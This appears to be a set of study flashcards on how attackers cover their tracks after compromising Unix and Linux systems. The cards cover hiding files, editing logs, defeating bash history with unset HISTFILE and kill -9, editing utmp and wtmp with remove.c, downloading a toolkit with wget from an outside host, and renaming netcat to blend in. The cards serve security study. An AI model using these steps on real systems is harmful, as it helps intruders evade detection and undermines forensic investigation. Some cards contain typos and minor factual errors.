Book 5: Covering Tracks on Unix and Linux Flashcards

1
Q

following an inital compromise, attackers will take steps to hide thier presence on systems to avoid detection?

A

true

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What steps will attackers take to avoid detection?

A
  • remove artifacts following an exploit
  • changing logs to remove evidence
  • creating subtle hiding spaces to keep files as they collect data and pillage
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What are the 3 goals of attacker

A
  1. compromise the target
  2. achieve post exploitation goal
  3. evade detection for as long as possible
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is the easist way to hide files on UNIX

A

name it “.” or “..”

or “…” or “ “

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Easist way to hide a file in UNIX is to name the file with a dot?

A

yes.
wouldnt be neccessary if attacker had a rootkit or kernal mode rootkit technique/ root access but in this case he does not.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Every directory has at least two other directories

A

.. refers to the parent directory

. refers to the current directory

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

what are the 3 popular locations to hide files in UNIX?

A

/dev
/tmp
/etc

or
/usr/local/man
/usr/src

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

/dev

A

directory contains information about devices on the system, such as chunks of your hard drive and references to terminals. A good place to hide files.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

/tmp

A

often contains strangely named files created by various apps to temporarily store data

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

the /tmp file is emptied on reboot?

A

true.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

files stored in /tmp would need to be restored?

A

yes, it is a location emptied on reboot

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

/etc

A

bad place to hide files. holds machine configuration and is carefully monitored by sys admins.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What are the two increasingly popular locations to store/hide data?

A

/usr/local/man
and
/usr/src

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Main log files can be found by viewing the ___?

A

/etc/syslog.conf

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

How can attackers find where logs are located on a UNIX system?

A

check /etc/syslog.conf by just checking this location or running a script that guessses where the logs are

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

the __ process stores the logs for the machine?

A

syslog

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

the configuration for the system logger is found in the ____ file.

A

/etc/syslog.conf file

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

if using a log clearing script to guess the location of the logs it can malfunction due to __

A

running the script on an improper version of linux. or not stored in their default location

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

Once find out where the logs are located from checking __ file, you know that they are mainly stored in which directory?

A

/etc/syslong.conf

/var/log

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

several flavors of linux store their system logs in the ___ directory

A

/var/log

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

web server (http) store their logs wihtin their own directories?

A

true

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

almost all logs within /var/log are stored in ASCII?

A

yes. so they can be edited with vi or nano. an attacker will and can delete these entries

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

What logs are of particular interest to attacker?

A

/var/log/secure

/var/log/messages

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

logs written in /var/log are in ASCII?

A

yes

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
What logs of particular service are exploited to gain access?
/var/log/httpd/error.log | /var/log/httpd/access.log
26
Logs written in /var/log are usually edited by?
hand, because they are ASCII and can be edited via script.
27
The __ where you type a command has the option of recording each command
shell
28
by default the __ __ included in linux stores the most recent x commands typed in.
bash shell
29
by default bash shell keeps track of the last __ commands, although __ on some linux distros
500 | 1,000
30
The bash history is written in ASCII and can be edited by hand?
true.
31
both bash history and /var/logs are written in ascii and can be edited by hand?
true
32
what can an attacker do to the bash history to make it look like someone else did something?
since file is ascii can plant fake commands into another users bash history file to divrt attention during an investigation
33
How can an attacker divert investigation?
plant false commands in another users history file
34
What are the problems with shell history?
You wont see your most recent command because the shell history is written when the shell is exited. They are stored in RAM until the shell is exited.
35
Shell history is written when the shell is ___?
exited
36
You wont see your most recent commands in the shell history because?
shell is written when the shell is exited
37
Most recent commands that would be in the shell history are stored in __ until the __ is exited
RAM | Shell
38
if an attacker tried to invoke the shell and typed vi .bash_history this command would show up in the shell history file?
yes
39
What is a unsuccesful way to try and conceal entries in the bash history?
edit the shell file exit the shell start another shell edit the history file again to remove it BUT "chicken and egg" problem, the command will be added again
40
What are the two widely known solutions to removing entries from bash history
1. Killing the shell so that it cannot write the most recent shell history, including the commands used to edit it 2. changing the environment variable HISTFiLE
41
how would I kill the bash shell?
kill -9 [pid]
42
how do I kill all bash shells?
killall -9 bash
43
the second process to removing entries from bash history is __ and the command is___ $ unset __ then __ __ __
changing the environment variable HISTFILE $unset HISTFILE then KILL -9 $$
44
What is the 3rd option to removing entries from bash history?
adding a space before the command in bash to not log specific commands.
45
What are the accounting entries in UNIX?
utmp wtmp btmp lastlog
46
file contains info about currently logged in users?
utmp
47
default location of utmp?
/var/run/utmp
48
file contains data about past user logins?
wtmp
49
file contains bad login entries for failed login attempts?
btmp
50
default location of wtmp?
/var/log
51
default location of btmp?
/var/log/btmp
52
file shows login name, port, and last login time for each user?
lastlog
53
default location of lastlog?
/var/log/lastlog
54
What are the default locations of accounting entries in UNIX?
/var/run/utmp /var/log/wtmp /var/log/btmp /var/log/lastlog
55
what is the only accounting log not stored within var/log
utmp /var/log/utmp
56
What command will print a list of all users currently actively logged in on the system?
$who
57
the btmp file is usually configirued to be turned off because sys admins dont want to leave the file sitting around with bad ID attempts because it could contain passwords?
true
58
the accouting entry files are stored in ASCII?
FALSE
59
How are the accounting entries stored in UNIX?
utmp structures
60
Accounting entries are stored as __ structures
utmp
61
both bash history and /var/logs are written in ascii and can be edited by hand BUT the acccounting entries (utmp,wtmp,btmp) are not and are stored as ___?
utmp structures
62
to edit the accounting files you have to use specialized tools or else __?
the files will become corrupted
63
the accounting entries will become corrupted if you try and edit them without proper tool?
yes
64
What specialized tool can edit the accounting files?
remove.c
65
___.c can edit the utmp,wtmp,btmp and lastlog because they are stored as a specialized format called ___ ___
remove.c utmp structures
66
$whoami
- checking to see which account they have gained control of on the machine- could be checking for root privilege's
67
$id
get more details about the ID number and groups associated with the current account
68
$uname -a
detailed kernel version the system is running. | useful to further exploit system or getting an idea of types of linux machines target organization is using.
69
$nc
checking to see if netcat is installed on the path for the account
70
$wget 10.10.10.10/kitz.tgz
wget tool can download wevpages to pull a file from a machine.
71
$mv nc init
moving a file called nc to a file called init therefore blending in